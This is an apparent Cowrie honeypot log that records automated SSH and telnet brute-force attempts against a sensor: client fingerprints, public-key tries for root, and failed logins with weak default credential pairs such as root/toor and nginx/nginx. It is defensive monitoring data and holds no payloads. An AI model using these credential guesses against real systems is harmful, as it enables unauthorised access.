{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fa:61:d6:51:f3:0f:f2:0a:8b:c8:3f:9b:42:35:55:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrE5m/pP4un+Kfrw8BY4sEr6t36bIYj/G5i0GSYskXRRDpqT5ISf/8wtnJiZnMU7Jk/YotTD3SwLCZT8/ORYzTMrXm6V6moNGeynIfZA2zJK7UDBKiQ349vPrWwS7THhIS2yAcOn00zjq9b3WATY/874pOYaO0fX7/pnpC15wwGZJY1C6sQDBI70NWwOlLCPD+oDBRtK2i4wuEQzGT8HEeA3n2wJgZG6rWsNqy7b7lKUYf0iVzLPywnJacvavqZdNloZEXHUDh0u2g9Wo8jDIVs3fuguo6Sz1hu4E58PRmq0cBJAXwmGEomAyavw9Vi7a+ChP1sULjeavQB4l0RLmNueO+ZNX5aH0egYJgg45IdCH7Vm4dE0f4V+R2GAjEThfXU70jtbCBBBciJE+sp4WIONoaoOM4aklqVh18muUbcobG0UkP/OyCVcG64Bu+ba79JFeXRCI8i/cxpF6A3fhDY5ObPkFWpjbjCHxDHNTSbyctlmgEYLMhnJwF4rMKWrOkylyXSsfrO/9OL0au04DRO2ti+S5lJlKnrhhfZ5/8ICn0kqEI9Izg/kf/XpK14q9oYbGKQl06QryLmpZVHIoeSH/9Jf+hpmS2bH1FwkxkP0RSGxD3VcQvdSqWhMktqsSRIJQiqCFq+BXt3UjqnJl0aTOaX5lo3pfTeWtRRNN7wQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fa:61:d6:51:f3:0f:f2:0a:8b:c8:3f:9b:42:35:55:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:28.861998Z","src_ip":"194.120.230.72","session":"b0f74a75c714","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fa:61:d6:51:f3:0f:f2:0a:8b:c8:3f:9b:42:35:55:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrE5m/pP4un+Kfrw8BY4sEr6t36bIYj/G5i0GSYskXRRDpqT5ISf/8wtnJiZnMU7Jk/YotTD3SwLCZT8/ORYzTMrXm6V6moNGeynIfZA2zJK7UDBKiQ349vPrWwS7THhIS2yAcOn00zjq9b3WATY/874pOYaO0fX7/pnpC15wwGZJY1C6sQDBI70NWwOlLCPD+oDBRtK2i4wuEQzGT8HEeA3n2wJgZG6rWsNqy7b7lKUYf0iVzLPywnJacvavqZdNloZEXHUDh0u2g9Wo8jDIVs3fuguo6Sz1hu4E58PRmq0cBJAXwmGEomAyavw9Vi7a+ChP1sULjeavQB4l0RLmNueO+ZNX5aH0egYJgg45IdCH7Vm4dE0f4V+R2GAjEThfXU70jtbCBBBciJE+sp4WIONoaoOM4aklqVh18muUbcobG0UkP/OyCVcG64Bu+ba79JFeXRCI8i/cxpF6A3fhDY5ObPkFWpjbjCHxDHNTSbyctlmgEYLMhnJwF4rMKWrOkylyXSsfrO/9OL0au04DRO2ti+S5lJlKnrhhfZ5/8ICn0kqEI9Izg/kf/XpK14q9oYbGKQl06QryLmpZVHIoeSH/9Jf+hpmS2bH1FwkxkP0RSGxD3VcQvdSqWhMktqsSRIJQiqCFq+BXt3UjqnJl0aTOaX5lo3pfTeWtRRNN7wQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:28.866384Z","src_ip":"194.120.230.72","session":"b0f74a75c714","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:2a:d7:b1:d0:46:03:d0:e5:18:2b:50:b6:95:30:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQDwGyQvLZLCOP32OXeHXqV3jVv5gummqLd8KbZt1dJfxkTTNViXpbQtnmfi8oM1BIKsKMOYd9opxvpgIeSNW4mf+/c+slZfGRt9I+7kygw/JnfHQVbTV0y8+qZvMO85qpGacEDvD/nOk9Wqgk4SpLBT8mgynwZKXvIrjfUogFw096sG4KG+zNIXlzwO04caMfqwxjQ8m2nSia/uAsk7Z1kkiCUcQXRLsVyTpNiAWBbLsNKLZBk1BHiCJNK2clI21+67PUTqGrWNGHlHindqLpnqaX65fpgWBukzRW7zC+ZhURj9Xy18quw6ZVbea6TeqiYfzZtFTsrK7/sL5xmXHn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:2a:d7:b1:d0:46:03:d0:e5:18:2b:50:b6:95:30:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:28.959681Z","src_ip":"194.120.230.72","session":"b0f74a75c714","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:2a:d7:b1:d0:46:03:d0:e5:18:2b:50:b6:95:30:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQDwGyQvLZLCOP32OXeHXqV3jVv5gummqLd8KbZt1dJfxkTTNViXpbQtnmfi8oM1BIKsKMOYd9opxvpgIeSNW4mf+/c+slZfGRt9I+7kygw/JnfHQVbTV0y8+qZvMO85qpGacEDvD/nOk9Wqgk4SpLBT8mgynwZKXvIrjfUogFw096sG4KG+zNIXlzwO04caMfqwxjQ8m2nSia/uAsk7Z1kkiCUcQXRLsVyTpNiAWBbLsNKLZBk1BHiCJNK2clI21+67PUTqGrWNGHlHindqLpnqaX65fpgWBukzRW7zC+ZhURj9Xy18quw6ZVbea6TeqiYfzZtFTsrK7/sL5xmXHn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:28.965691Z","src_ip":"194.120.230.72","session":"b0f74a75c714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:29.058668Z","src_ip":"194.120.230.72","session":"b0f74a75c714","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.87684178352356,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:29.414965Z","src_ip":"192.119.13.58","session":"e293f207a203","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.84149169921875,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:29.744308Z","src_ip":"192.119.13.58","session":"90dba5d7f4e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42408,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a82301dc7e2","protocol":"ssh","message":"New connection: 45.153.34.112:42408 (10.17.0.5:22) [session: 6a82301dc7e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:29.984226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:29.989186Z","src_ip":"45.153.34.112","session":"6a82301dc7e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:30.071338Z","src_ip":"45.153.34.112","session":"6a82301dc7e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123123","message":"login attempt [root/123123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:30.318981Z","src_ip":"45.153.34.112","session":"6a82301dc7e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.027183294296265,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:31.114489Z","src_ip":"192.119.13.58","session":"f52f59991356","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:31.575638Z","src_ip":"45.153.34.112","session":"6a82301dc7e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.9731068611145,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:31.730180Z","src_ip":"192.119.13.58","session":"bfd1feb3339c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.471341609954834,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:32.383695Z","src_ip":"192.119.13.58","session":"ece2df84150e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.80841064453125,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:33.539249Z","src_ip":"192.119.13.58","session":"ece217cacb1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42420,"dst_ip":"10.17.0.5","dst_port":22,"session":"0746d59077b4","protocol":"ssh","message":"New connection: 45.153.34.112:42420 (10.17.0.5:22) [session: 0746d59077b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:33.543601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:33.547345Z","src_ip":"45.153.34.112","session":"0746d59077b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:33.629107Z","src_ip":"45.153.34.112","session":"0746d59077b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"parsa","password":"parsa","message":"login attempt [parsa/parsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:33.877508Z","src_ip":"45.153.34.112","session":"0746d59077b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:34.964835Z","src_ip":"45.153.34.112","session":"0746d59077b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":42428,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fefff69920a","protocol":"ssh","message":"New connection: 45.153.34.112:42428 (10.17.0.5:22) [session: 8fefff69920a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:37.397462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:37.402507Z","src_ip":"45.153.34.112","session":"8fefff69920a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:37.484712Z","src_ip":"45.153.34.112","session":"8fefff69920a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backuply","password":"123456","message":"login attempt [backuply/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:37.734462Z","src_ip":"45.153.34.112","session":"8fefff69920a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:38.821930Z","src_ip":"45.153.34.112","session":"8fefff69920a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.393534660339355,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:39.252497Z","src_ip":"192.119.13.58","session":"9dc79a9a9502","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49016,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4a25f9b827d","protocol":"ssh","message":"New connection: 45.153.34.112:49016 (10.17.0.5:22) [session: d4a25f9b827d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:40.919426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:40.924443Z","src_ip":"45.153.34.112","session":"d4a25f9b827d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:41.006500Z","src_ip":"45.153.34.112","session":"d4a25f9b827d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:41.251682Z","src_ip":"45.153.34.112","session":"d4a25f9b827d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:42.337325Z","src_ip":"45.153.34.112","session":"d4a25f9b827d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49028,"dst_ip":"10.17.0.5","dst_port":22,"session":"e08fc33d930f","protocol":"ssh","message":"New connection: 45.153.34.112:49028 (10.17.0.5:22) [session: e08fc33d930f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:44.840273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:44.845121Z","src_ip":"45.153.34.112","session":"e08fc33d930f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:44.927879Z","src_ip":"45.153.34.112","session":"e08fc33d930f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.01316595077515,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:45.140415Z","src_ip":"192.119.13.58","session":"e6424596a647","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"toor","message":"login attempt [root/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:45.178111Z","src_ip":"45.153.34.112","session":"e08fc33d930f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.749709606170654,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:45.301616Z","src_ip":"192.119.13.58","session":"0d1d0fa839c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50202,"dst_ip":"10.17.0.5","dst_port":23,"session":"86d2da49aecd","protocol":"telnet","message":"New connection: 192.119.13.58:50202 (10.17.0.5:23) [session: 86d2da49aecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:45.543457Z"}
{"eventid":"cowrie.session.closed","duration":43.2785964012146,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:45.922151Z","src_ip":"192.119.13.58","session":"57f491c72e10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:46.275444Z","src_ip":"45.153.34.112","session":"e08fc33d930f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33584,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5534def95b1","protocol":"telnet","message":"New connection: 192.119.13.58:33584 (10.17.0.5:23) [session: d5534def95b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:48.461576Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":49046,"dst_ip":"10.17.0.5","dst_port":22,"session":"bad8db2d3c5e","protocol":"ssh","message":"New connection: 45.153.34.112:49046 (10.17.0.5:22) [session: bad8db2d3c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:48.467045Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:17:48.471860Z","src_ip":"45.153.34.112","session":"bad8db2d3c5e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-ni